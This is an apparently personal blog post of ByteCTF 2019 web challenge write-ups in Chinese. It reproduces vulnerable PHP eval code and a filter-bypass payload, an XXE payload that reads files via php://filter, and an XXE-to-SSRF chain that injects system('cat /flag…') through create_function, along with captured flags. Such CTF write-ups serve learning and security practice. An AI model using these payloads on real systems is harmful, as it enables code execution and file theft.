Ywc's blog

ByteCTF2019

Word count: 1.2kReading time: 6 min
2019/09/26

Web - boring_code

源代码提示,flag在index.php,源代码在/code/index.php

去访问/code/index.php,看到源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}

可以post一个url参数,然后获取url内容进行eval代码执行。

这里url做了过滤,不允许data://,而且parse_url的host要以baidu.com结尾。

直接买个域名,ctfbaidu.com,过了第一步。

这里code也做了过滤,只能调用函数名为小写a-z的函数,而且要嵌套调用,另外还过滤了一些关键词。

1
/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i

那么将php手册里的所有函数过滤一下,符合过滤规则的,只有100-200个函数可用。

找到一个compact函数,可以将变量合并进数组。源代码里有个$r,url可控,所以可以直接用它。

可控字符串放在url的参数位置,parse_url后,落入$r["query"]

1
http://test.ctfbaidu.com/1.txt?../index.php

然后r的ascii为114,chr(time())里面time()%256==114时,compact可以读入$r,然后end(end())两次可以取出$r["query"]的值,然后直接readfile读到flag。过了第二步。

1
readfile(end(end(compact(chr(time())))));

256秒一轮回。

flag: bytectf{8866b40fea76845e5cbc84ad5ea9920e}

Web - EzCMS

这题刚开始环境配置有问题,能直接读flag了。

随便填用户名和密码,就能登录进去到上传界面。

下面的view detail给了个链接:

1
http://112.126.102.158:9999/view.php?filename=.htaccess&filepath=./sandbox/bdb9d44736878323443209e1df37b645/.htaccess

看到sandbox直接访问列目录、列文件:

flag: bytectf{4338afbd-d09b-11e9-96cf-88e9fe533d19}

Web - rss

一个rss阅读器,能解析远程url的rss。

url只允许aliyun.com、baidu.com、qq.com,直接用之前买的ctfbaidu.com

提供了一个example rss文件,看到xml格式想到xxe。

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE title [
<!ENTITY result SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>1</title><link>1</link><description>&result;</description><atom:link href="#" rel="self"></atom:link><language>1</language><lastBuildDate>1</lastBuildDate><item><title>1</title><link>1</link><description>1</description><pubDate>1</pubDate><guid>1</guid></item></channel></rss>

xxe能读到文件。把源代码读出来审。

读到routes.php关键代码:

1
2
3
4
5
6
7
8
9
10
11
Route::set('rss_in_order',function(){
if(!isset($_REQUEST['rss_url']) && !isset($_REQUEST['order'])){
Admin::createView('Admin');
}else{
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
Admin::sort($_REQUEST['rss_url'],$_REQUEST['order']);
}else{
echo ";(";
}
}
});

读到controllers/Admin.php关键代码:

1
2
3
4
5
6
7
8
9
<?php

class Admin extends Controller{
public static function sort($url,$order){
$rss=file_get_contents($url);
$rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
require_once './views/Admin.php';
}
}

读到views/Admin.php关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
die(';(');
}
?>
<?php include('package/header.php') ?>
<?php if(!$rss) {
?>
<?php
$data = [];
foreach($rss->channel->item as $item){
$data[] = $item;
}
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
foreach($data as $item){
?>

<?php }?>

结合在一起,就是本地127.0.0.1发请求可以访问到/rss_in_order,然后usort里的create_function中带入可控参数$order,实现任意命令执行。

能够getflagpayload

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE title [
<!ENTITY result SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1/rss_in_order?order=title%2C0)%3B%7Dsystem('cat%20/flag_eb8ba2eb07702e69963a7d6ab8669134')%3B%2F*&rss_url=http://112.126.96.50:9999/file/example">
]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>1</title><link>1</link><description>&result;</description><atom:link href="#" rel="self"></atom:link><language>1</language><lastBuildDate>1</lastBuildDate><item><title>1</title><link>1</link><description>1</description><pubDate>1</pubDate><guid>1</guid></item></channel></rss>

flag: bytectf{61878fa75f293f179a895bf74e358a4f}

CATALOG
  1. 1. Web - boring_code
  2. 2. Web - EzCMS
  3. 3. Web - rss